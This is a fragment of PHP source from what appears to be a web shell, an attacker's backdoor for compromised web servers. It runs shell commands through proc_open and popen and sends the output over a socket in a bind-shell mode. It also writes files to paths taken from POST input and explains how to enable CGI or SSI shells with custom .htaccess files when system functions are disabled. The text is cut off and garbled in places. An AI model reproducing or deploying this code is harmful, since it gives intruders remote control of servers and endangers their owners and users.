$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
$buffer=NULL;
while (!feof($pipes[1])) {
$buffer.=fread($pipes[1],1024);
}
@proc_close($handle);
} else if(function_enabled('popen')) {
$fp=popen($c,'r');
$buffer=NULL;
if (is_resource($fp)) {
while (!feof($fp)) {
$buffer.=fread($fp,1024);
}
}
@pclose($fp);
}
else { $buffer=0; }
}
@socket_write($msgsock,$buffer,strlen($buffer));
}
@socket_close($msgsock);
echo "
phplocal done";
break;
//phpbind end
case "perllocal":
$exec_path = trim($_POST['path']);
ob_start();
@sploent516();
ob_end_clean();
$fh=fopen($exec_path,'w');
if (!$fh) { echo "
';
echo 'sometimes CGI and SSI are not disabled globally on the server, so you could use CGI or SSI shell. but to enable CGI/SSI you need to use special .htaccess files. CGI:
SSI:
warning: using custom .htaccess could break this site! (it could result in error 500). it is recommended to create new dir and place custom .htaccess and minishells there.
//thanks to profexer for SSI shell and to Michael Foord for python shell
';
if (file_exists(".htaccess")) {
echo ' WARNING: my .htaccess will rewrite current one!';
}
echo ' ';
if ($failflag=="1") {
echo "can't find perl binary (all system functions disabled) assuming /usr/bin/perl ";
}
echo ' ';
if ($failflag=="1") {
echo "can't find python binary (all system functions disabled) assuming /usr/bin/python ";
}
echo ' ';
echo ' ';
//code by Eric A. Meyer, license CC BY-SA
echo '';
echo "---> Text encoderz/decoderz